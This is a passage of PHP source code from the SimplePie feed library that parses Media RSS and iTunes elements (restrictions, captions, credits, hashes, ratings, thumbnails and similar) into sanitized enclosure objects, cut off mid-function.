                    $restriction_relationship = null;
                    $restriction_type = null;
                    $restriction_value = null;
                    if (isset($restriction['attribs']['']['relationship'])) {
                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['attribs']['']['type'])) {
                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['data'])) {
                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            } elseif ($restrictions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'block')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = Restriction::RELATIONSHIP_ALLOW;
                    $restriction_type = null;
                    $restriction_value = 'itunes';
                    if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') {
                        $restriction_relationship = Restriction::RELATIONSHIP_DENY;
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            } elseif ($restrictions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'restriction')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = null;
                    $restriction_type = null;
                    $restriction_value = null;
                    if (isset($restriction['attribs']['']['relationship'])) {
                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['attribs']['']['type'])) {
                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['data'])) {
                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            } elseif ($restrictions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'block')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = Restriction::RELATIONSHIP_ALLOW;
                    $restriction_type = null;
                    $restriction_value = 'itunes';
                    if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') {
                        $restriction_relationship = Restriction::RELATIONSHIP_DENY;
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            }
            if (count($restrictions_parent) > 0) {
                $restrictions_parent = array_values(array_unique($restrictions_parent));
            } else {
                $restrictions_parent = [new \SimplePie\Restriction(Restriction::RELATIONSHIP_ALLOW, null, 'default')];
            }

            // THUMBNAILS
            if ($thumbnails = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
                foreach ($thumbnails as $thumbnail) {
                    if (isset($thumbnail['attribs']['']['url'])) {
                        $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
                    }
                }
            } elseif ($thumbnails = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
                foreach ($thumbnails as $thumbnail) {
                    if (isset($thumbnail['attribs']['']['url'])) {
                        $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
                    }
                }
            }

            // TITLES
            if ($title_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'title')) {
                if (isset($title_parent[0]['data'])) {
                    $title_parent = $this->sanitize($title_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            } elseif ($title_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'title')) {
                if (isset($title_parent[0]['data'])) {
                    $title_parent = $this->sanitize($title_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            }

            // Clear the memory
            unset($parent);

            // Attributes
            $bitrate = null;
            $channels = null;
            $duration = null;
            $expression = null;
            $framerate = null;
            $height = null;
            $javascript = null;
            $lang = null;
            $length = null;
            $medium = null;
            $samplingrate = null;
            $type = null;
            $url = null;
            $width = null;

            // Elements
            $captions = null;
            $categories = null;
            $copyrights = null;
            $credits = null;
            $description = null;
            $hashes = null;
            $keywords = null;
            $player = null;
            $ratings = null;
            $restrictions = null;
            $thumbnails = null;
            $title = null;

            // If we have media:group tags, loop through them.
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'group') as $group) {
                if (isset($group['child']) && isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'])) {
                    // If we have media:content tags, loop through them.
                    foreach ((array) $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'] as $content) {
                        if (isset($content['attribs']['']['url'])) {
                            // Attributes
                            $bitrate = null;
                            $channels = null;
                            $duration = null;
                            $expression = null;
                            $framerate = null;
                            $height = null;
                            $javascript = null;
                            $lang = null;
                            $length = null;
                            $medium = null;
                            $samplingrate = null;
                            $type = null;
                            $url = null;
                            $width = null;

                            // Elements
                            $captions = null;
                            $categories = null;
                            $copyrights = null;
                            $credits = null;
                            $description = null;
                            $hashes = null;
                            $keywords = null;
                            $player = null;
                            $ratings = null;
                            $restrictions = null;
                            $thumbnails = null;
                            $title = null;

                            // Start checking the attributes of media:content
                            if (isset($content['attribs']['']['bitrate'])) {
                                $bitrate = $this->sanitize($content['attribs']['']['bitrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['channels'])) {
                                $channels = $this->sanitize($content['attribs']['']['channels'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['duration'])) {
                                $duration = $this->sanitize($content['attribs']['']['duration'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } else {
                                $duration = $duration_parent;
                            }
                            if (isset($content['attribs']['']['expression'])) {
                                $expression = $this->sanitize($content['attribs']['']['expression'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['framerate'])) {
                                $framerate = $this->sanitize($content['attribs']['']['framerate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['height'])) {
                                $height = $this->sanitize($content['attribs']['']['height'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['lang'])) {
                                $lang = $this->sanitize($content['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['fileSize'])) {
                                $length = intval($content['attribs']['']['fileSize']);
                            }
                            if (isset($content['attribs']['']['medium'])) {
                                $medium = $this->sanitize($content['attribs']['']['medium'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['samplingrate'])) {
                                $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['type'])) {
                                $type = $this->sanitize($content['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['width'])) {
                                $width = $this->sanitize($content['attribs']['']['width'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            $url = $this->sanitize($content['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($content));

                            // Checking the other optional media: elements. Priority: media:content, media:group, item, channel

                            // CAPTIONS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
                                    $caption_type = null;
                                    $caption_lang = null;
                                    $caption_startTime = null;
                                    $caption_endTime = null;
                                    $caption_text = null;
                                    if (isset($caption['attribs']['']['type'])) {
                                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['lang'])) {
                                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['start'])) {
                                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['end'])) {
                                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['data'])) {
                                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                                }
                                if (is_array($captions)) {
                                    $captions = array_values(array_unique($captions));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
                                    $caption_type = null;
                                    $caption_lang = null;
                                    $caption_startTime = null;
                                    $caption_endTime = null;
                                    $caption_text = null;
                                    if (isset($caption['attribs']['']['type'])) {
                                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['lang'])) {
                                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['start'])) {
                                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['end'])) {
                                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['data'])) {
                                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                                }
                                if (is_array($captions)) {
                                    $captions = array_values(array_unique($captions));
                                }
                            } else {
                                $captions = $captions_parent;
                            }

                            // CATEGORIES
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
                                foreach ((array) $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
                                    $term = null;
                                    $scheme = null;
                                    $label = null;
                                    if (isset($category['data'])) {
                                        $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($category['attribs']['']['scheme'])) {
                                        $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $scheme = 'http://search.yahoo.com/mrss/category_schema';
                                    }
                                    if (isset($category['attribs']['']['label'])) {
                                        $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                                }
                            }
                            if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
                                foreach ((array) $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
                                    $term = null;
                                    $scheme = null;
                                    $label = null;
                                    if (isset($category['data'])) {
                                        $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($category['attribs']['']['scheme'])) {
                                        $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $scheme = 'http://search.yahoo.com/mrss/category_schema';
                                    }
                                    if (isset($category['attribs']['']['label'])) {
                                        $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                                }
                            }
                            if (is_array($categories) && is_array($categories_parent)) {
                                $categories = array_values(array_unique(array_merge($categories, $categories_parent)));
                            } elseif (is_array($categories)) {
                                $categories = array_values(array_unique($categories));
                            } elseif (is_array($categories_parent)) {
                                $categories = array_values(array_unique($categories_parent));
                            }

                            // COPYRIGHTS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
                                $copyright_url = null;
                                $copyright_label = null;
                                if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
                                    $copyright_url = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
                                    $copyright_label = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
                                $copyright_url = null;
                                $copyright_label = null;
                                if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
                                    $copyright_url = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
                                    $copyright_label = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
                            } else {
                                $copyrights = $copyrights_parent;
                            }

                            // CREDITS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
                                    $credit_role = null;
                                    $credit_scheme = null;
                                    $credit_name = null;
                                    if (isset($credit['attribs']['']['role'])) {
                                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($credit['attribs']['']['scheme'])) {
                                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $credit_scheme = 'urn:ebu';
                                    }
                                    if (isset($credit['data'])) {
                                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                                }
                                if (is_array($credits)) {
                                    $credits = array_values(array_unique($credits));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
                                    $credit_role = null;
                                    $credit_scheme = null;
                                    $credit_name = null;
                                    if (isset($credit['attribs']['']['role'])) {
                                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($credit['attribs']['']['scheme'])) {
                                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $credit_scheme = 'urn:ebu';
                                    }
                                    if (isset($credit['data'])) {
                                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                                }
                                if (is_array($credits)) {
                                    $credits = array_values(array_unique($credits));
                                }
                            } else {
                                $credits = $credits_parent;
                            }

                            // DESCRIPTION
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
                                $description = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
                                $description = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } else {
                                $description = $description_parent;
                            }

                            // HASHES
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
                                    $value = null;
                                    $algo = null;
                                    if (isset($hash['data'])) {
                                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($hash['attribs']['']['algo'])) {
                                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $algo = 'md5';
                                    }
                                    $hashes[] = $algo.':'.$value;
                                }
                                if (is_array($hashes)) {
                                    $hashes = array_values(array_unique($hashes));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
                                    $value = null;
                                    $algo = null;
                                    if (isset($hash['data'])) {
                                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($hash['attribs']['']['algo'])) {
                                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $algo = 'md5';
                                    }
                                    $hashes[] = $algo.':'.$value;
                                }
                                if (is_array($hashes)) {
                                    $hashes = array_values(array_unique($hashes));
                                }
                            } else {
                                $hashes = $hashes_parent;
                            }

                            // KEYWORDS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
                                if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
                                    $temp = explode(',', $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                                    foreach ($temp as $word) {
                                        $keywords[] = trim($word);
                                    }
                                    unset($temp);
                                }
                                if (is_array($keywords)) {
                                    $keywords = array_values(array_unique($keywords));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
                                if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
                                    $temp = explode(',', $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                                    foreach ($temp as $word) {
                                        $keywords[] = trim($word);
                                    }
                                    unset($temp);
                                }
                                if (is_array($keywords)) {
                                    $keywords = array_values(array_unique($keywords));
                                }
                            } else {
                                $keywords = $keywords_parent;
                            }

                            // PLAYER
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                                $playerElem = $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0];
                                $player = $this->sanitize($playerElem['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($playerElem));
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                                $playerElem = $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0];
                                $player = $this->sanitize($playerElem['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($playerElem));
                            } else {
                                $player = $player_parent;
                            }

                            // RATINGS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
                                    $rating_scheme = null;
                                    $rating_value = null;
                                    if (isset($rating['attribs']['']['scheme'])) {
                                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $rating_scheme = 'urn:simple';
                                    }
                                    if (isset($rating['data'])) {
                                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                                }
                                if (is_array($ratings)) {
                                    $ratings = array_values(array_unique($ratings));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
                                    $rating_scheme = null;
                                    $rating_value = null;
                                    if (isset($rating['attribs']['']['scheme'])) {
                                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $rating_scheme = 'urn:simple';
                                    }
                                    if (isset($rating['data'])) {
                                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                                }
                                if (is_array($ratings)) {
                                    $ratings = array_values(array_unique($ratings));
                                }
                            } else {
                                $ratings = $ratings_parent;
                            }

                            // RESTRICTIONS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
                                    $restriction_relationship = null;
                                    $restriction_type = null;
                                    $restriction_value = null;
                                    if (isset($restriction['attribs']['']['relationship'])) {
                                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['attribs']['']['type'])) {
                                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['data'])) {
                                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                                }
                                if (is_array($restrictions)) {
                                    $restrictions = array_values(array_unique($restrictions));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
                                    $restriction_relationship = null;
                                    $restriction_type = null;
                                    $restriction_value = null;
                                    if (isset($restriction['attribs']['']['relationship'])) {
                                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['attribs']['']['type'])) {
                                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['data'])) {
                                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                                }
                                if (is_array($restrictions)) {
                                    $restrictions = array_values(array_unique($restrictions));
                                }
                            } else {
                                $restrictions = $restrictions_parent;
                            }

                            // THUMBNAILS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
                                    $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
                                }
                                if (is_array($thumbnails)) {
                                    $thumbnails = array_values(array_unique($thumbnails));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
                                    $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
                                }
                                if (is_array($thumbnails)) {
                                    $thumbnails = array_values(array_unique($thumbnails));
                                }
                            } else {
                                $thumbnails = $thumbnails_parent;
                            }

                            // TITLES
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
                                $title = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
                                $title = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } else {
                                $title = $title_parent;
                            }

                            $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width]);
                        }
                    }
                }
            }

            // If we have standalone media:content tags, loop through them.
            if (isset($this->data['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'])) {
                foreach ((array) $this->data['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'] as $content) {
                    if (isset($content['attribs']['']['url']) || isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                        // Attributes
                        $bitrate = null;
                        $channels = null;
                        $duration = null;
                        $expression = null;
                        $framerate = null;
                        $height = null;
                        $javascript = null;
                        $lang = null;
                        $length = null;
                        $medium = null;
                        $samplingrate = null;
                        $type = null;
                        $url = null;
                        $width = null;

                        // Elements
                        $captions = null;
                        $categories = null;
                        $copyrights = null;
                        $credits = null;
                        $description = null;
                        $hashes = null;
                        $keywords = null;
                        $player = null;
                        $ratings = null;
                        $restrictions = null;
                        $thumbnails = null;
                        $title = null;

                        // Start checking the attributes of media:content
                        if (isset($content['attribs']['']['bitrate'])) {
                            $bitrate = $this->sanitize($content['attribs']['']['bitrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['channels'])) {
                            $channels = $this->sanitize($content['attribs']['']['channels'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['duration'])) {
                            $duration = $this->sanitize($content['attribs']['']['duration'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        } else {
                            $duration = $duration_parent;
                        }
                        if (isset($content['attribs']['']['expression'])) {
                            $expression = $this->sanitize($content['attribs']['']['expression'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['framerate'])) {
                            $framerate = $this->sanitize($content['attribs']['']['framerate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['height'])) {
                            $height = $this->sanitize($content['attribs']['']['height'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['lang'])) {
                            $lang = $this->sanitize($content['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['fileSize'])) {
                            $length = intval($content['attribs']['']['fileSize']);
                        }
                        if (isset($content['attribs']['']['medium'])) {
                            $medium = $this->sanitize($content['attribs']['']['medium'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['samplingrate'])) {
                            $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['type'])) {
                            $type = $this->sanitize($content['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['width'])) {
                            $width = $this->sanitize($content['attribs']['']['width'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['url'])) {
                            $url = $this->sanitize($content['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($content));
                        }
                        // Checking the other optional media: elements. Priority: media:content, media:group, item, channel

                        // CAPTIONS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
